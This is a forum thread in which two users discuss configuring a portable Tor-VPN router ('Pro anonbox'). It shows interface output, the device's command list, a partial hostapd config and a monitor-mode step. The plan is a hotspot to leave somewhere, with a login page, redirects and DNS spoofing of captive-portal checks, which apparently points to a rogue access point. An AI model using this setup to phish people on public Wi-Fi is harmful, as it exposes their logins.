Link Quality=70/70 Signal level=-27 dBm
Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0
Tx excessive retries:0 Invalid misc:8 Missed beacon:0

lo no wireless extensions.

eth0 no wireless extensions.

You gotta be patient with me. Im on 6 weeks into this journey. But i learn quick.

make onion hosting directory

Command: mkdir /var/lib/tor/hidden_service
show onion domain

Command: cat /var/lib/tor/hidden_service/hostname
stop tor

Command: /etc/init.d/tor stop
start tor

Command: /etc/init.d/tor start
restart tor

Command: /etc/init.d/tor restart
delete onion hosting directory

Command: rm -rf /var/lib/tor/hidden_service
set permissions on onion hosting dir

Command: chmod 0600 /var/lib/tor/hidden_service
open port 80 for hosting

Command: /usr/bin/enable80.sh
close port 80 to stop hosting

Command: /usr/bin/stop80.sh
reload webserver config

Command: /etc/init.d/uhttpd reload
reset vpn failsafe script

Command: /usr/bin/stopvpn.sh
disable vpn failsafe script

Command: /usr/bin/disablevpncheck.sh
re-enable vpn failsafe script

Command: /usr/bin/enablevpncheck.sh

FriendZone - December 12, 2018, 1:31 am

(Dec 11, 2018 10:21 PM)r0kford Wrote: [\[CITE\]](#) ifconfig

```
eth0: flags=4099<UP,BROADCAST,MULTICAST> mtu 1500
    ether ..... txqueuelen 1000 (Ethernet)
    RX packets 2638495 bytes 2769492926 (2.5 GiB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 2660458 bytes 181199074 (172.8 MiB)
    TX errors 2 dropped 0 overruns 0 carrier 0 collisions 0
```

```
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
    inet 127.0.0.1 netmask 255.0.0.0
    inet6 ::1 prefixlen 128 scopeid 0x10<host>
    loop txqueuelen 1000 (Local Loopback)
    RX packets 11189506 bytes 2371390183 (2.2 GiB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 11189506 bytes 2371390183 (2.2 GiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
```

```
tun3: flags=4305<UP,POINTOPOINT,RUNNING,NOARP,MULTICAST> mtu 1500
    inet 10.12.1.86 netmask 255.255.255.255 destination 10.12.1.85
    inet6 fe80::80e5:e142:d1c0:97ac prefixlen 64 scopeid 0x20<link>
    unspec 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00 txqueuelen 100 (UNSPEC)
    RX packets 0 bytes 0 (0.0 B)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 9 bytes 452 (452.0 B)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
```

```
wlan0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 192.168.19.187 netmask 255.255.255.0 broadcast 192.168.19.255
    inet6 .....f:4699:e4f1:ba26 prefixlen 64 scopeid 0x20<link>
    ether 68:a3:c4:5e:ab:fb txqueuelen 1000 (Ethernet)
    RX packets 5918864 bytes 6132845480 (5.7 GiB)
    RX errors 0 dropped 1 overruns 0 frame 0
    TX packets 8634546 bytes 742488882 (708.0 MiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
```

iwconfig

tun3 no wireless extensions.

```
wlan0 IEEE 802.11 ESSID:"r0kford"
    Mode:Managed Frequency:2.412 GHz Access Point: 0E:E
    Bit Rate=26 Mb/s Tx-Power=20 dBm
    Retry short long limit:2 RTS thr:off Fragment thr:off
    Encryption key:off
    Power Management:off
    Link Quality=70/70 Signal level=-27 dBm
    Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0
    Tx excessive retries:0 Invalid misc:8 Missed beacon:0
```

lo no wireless extensions.

eth0 no wireless extensions.

You gotta be patient with me. Im on 6 weeks into this journey. But i learn quick.

make onion hosting directory

Command: mkdir /var/lib/tor/hidden_service
show onion domain

Command: cat /var/lib/tor/hidden_service/hostname
stop tor

Command: /etc/init.d/tor stop
start tor

Command: /etc/init.d/tor start
restart tor

Command: /etc/init.d/tor restart
delete onion hosting directory

Command: rm -rf /var/lib/tor/hidden_service
set permissions on onion hosting dir

Command: chmod 0600 /var/lib/tor/hidden_service
open port 80 for hosting

Command: /usr/bin/enable80.sh
close port 80 to stop hosting

Command: /usr/bin/stop80.sh
reload webserver config

Command: /etc/init.d/uhttpd reload
reset vpn failsafe script

Command: /usr/bin/stopvpn.sh
disable vpn failsafe script

Command: /usr/bin/disablevpncheck.sh
re-enable vpn failsafe script

Command: /usr/bin/enablevpncheck.sh

Do you actually use the wifi to connect this box right ? (At least in the output you sent me)

Atm I'm watching youtube videos about the Pro anonbox, it actually has a WAN port a LAN port an USB port and A charger port, can you Confirm?

So actually the way we should proceed is:

1-connect the Box with the modem trough an ethernet cable to obtain internet access

2-put the wifi card in monitor mode

Code iwconfig wlan0 mode monitor

iwconfig

Now the iwconfig output should change "Mode = Managed" with "Mode = Monitor"

(Is possible the wifi card is not supported for the monitor mode an you have to buy an external dongle)

If everythings is just fine

Code apt-get install hostapd
And let s make our config file:

Use any file editor and any location you want to place this file hostapd.conf

Code interface=wlan0

driver=nl80211

ssid=Anonbox

hw_mode=g

channel=1

macaddr_acl=0

ignore_broadcast_ssid=0

Now you should check from a phone/pc you can actually see a new hotspot (internet still not working it will be the next step)

r0kford - December 12, 2018, 2:39 am

There is no terminal. Its a web interface. Like when you log into a default gateway

FriendZone - December 12, 2018, 3:09 am

(Dec 12, 2018 03:39 AM)r0kford Wrote: [\[CITE\]](#) There is no terminal. Its a web interface. Like when you log into a default gateway

Damn. My mistake then.

It's probably possible but more complicated, expecially without the Box I cannot figure how set configurations.

As engineer my first idea Problem Solving:

Do you actually need specifically the Pro anonbox as hotspot?

can you simply set a pc connected to the box a public hotspot (wpa protected if needed) forwarding the whole traffic trough the connected box?

Am I missing something or the Pro anonbox is just using Tor+Vpn to crypt and to keep safe your anonymity and privacy? (I can be wrong, so help me to understand) You don't actually need it if you own a pc, it can be configured without external boxes, and if you are looking for portability it can be done with a 30\$ raspberry pi

Edit: is the box already offering an hotspot ?

I guess if the box hasn't a terminal the previous ifconfig out was taken by a connected pc with the box with wlan0 (wifi)

r0kford - December 12, 2018, 3:47 am

(Dec 12, 2018 04:09 AM)Hexecutor Wrote: [\[CITE\]](#) Damn. My mistake then.

It's probably possible but more complicated, expecially without the Box I cannot figure how set configurations.

As engineer my first idea Problem Solving:

Do you actually need specifically the Pro anonbox as hotspot?

can you simply set a pc connected to the box a public hotspot (wpa protected if needed) forwarding the whole traffic trough the connected box?

Am I missing something or the Pro anonbox is just using Tor+Vpn to crypt and to keep safe your anonymity and privacy? (I can be wrong, so help me to understand) You don't actually need it if you own a pc, it can be configured without external boxes, and if you are looking for portability it can be done with a 30\$ raspberry pi

Edit: is the box already offering an hotspot ?

I guess if the box hasn't a terminal the previous ifconfig out was taken by a connected pc with the box with wlan0 (wifi)

yes its a tor-vpn router. but its supposed to be completely configurable. It can even be configured to run aircrack.

yes the ifconfig was from my pc terminal. connected to the router .

im mostly interested with its mobility. and the option to leave it somewhere.

FriendZone - December 12, 2018, 4:05 am

(Dec 12, 2018 04:47 AM)r0kford Wrote: [\[CITE\]](#) yes its a tor-vpn router. but its supposed to be completely configurable. It can even be configured to run aircrack.

yes the ifconfig was from my pc terminal. connected to the router .

im mostly interested with its mobility. and the option to leave it somewhere.

So basically if the Box is already offering hotspot it's already solving dns query, you just miss a server as login page, some RedirectMatch 302 in the server conf and some dns spoof for the captive portal detection servers?

I can help you with this kind of settings, but you have to find the way to configure your router (installing apache and dnsmasq)

r0kford - December 12, 2018, 4:11 am

Thank you. Ive been looking for a reason to get into this thing. Im going to start learning how it all works now.

dnsmasq 2.76-1 and hostapd-common are already installed. Im not sure if apache is an option. Ill keep looking but is there a work around.

As far as configuration ill have to learn to write scripts because i have to run custom commands from the web interface that will run shell scripts from my pc

I just found where to configure dnsmasq.

I cant pot links or images yet.

DHCP and DNS

Dnsmasq is a combined DHCP-Server and DNS-Forwarder for NAT firewalls
Server Settings

General Settings

Resolv and Hosts Files

TFTP Settings

Advanced Settings

Domain required

help Don't forward DNS-Requests without DNS-Name

Authoritative

help This is the only DHCP in the local network

Local server

help Local domain specification. Names matching this domain are never forwarded and are resolved from DHCP or hosts files only

Local domain

help Local domain suffix appended to DHCP names and hosts file entries

Log queries

help Write received DNS requests to syslog

DNS forwardings

help List of DNS servers to forward requests to

Rebind protection

help Discard upstream RFC1918 responses

Allow localhost

help Allow upstream responses in the 127.0.0.0/8 range, e.g. for RBL services

Domain whitelist

help List of domains to allow RFC1918 responses for

Local Service Only

help Limit DNS service to subnets interfaces on which we are serving DNS.

Non-wildcard

help Bind only to specific interfaces rather than wildcard address.

correction- apache is an option i have to free up some space on the router. ill do that after i get some sleep.. I think im addicted to this shit.

FriendZone - *December 13, 2018, 4:51 pm*

How does it proceed?

I'm working hard to make a new decent tutorial to pop up automatic captive portal logins so asap when you will find the way to set conf in your router it will be ready :)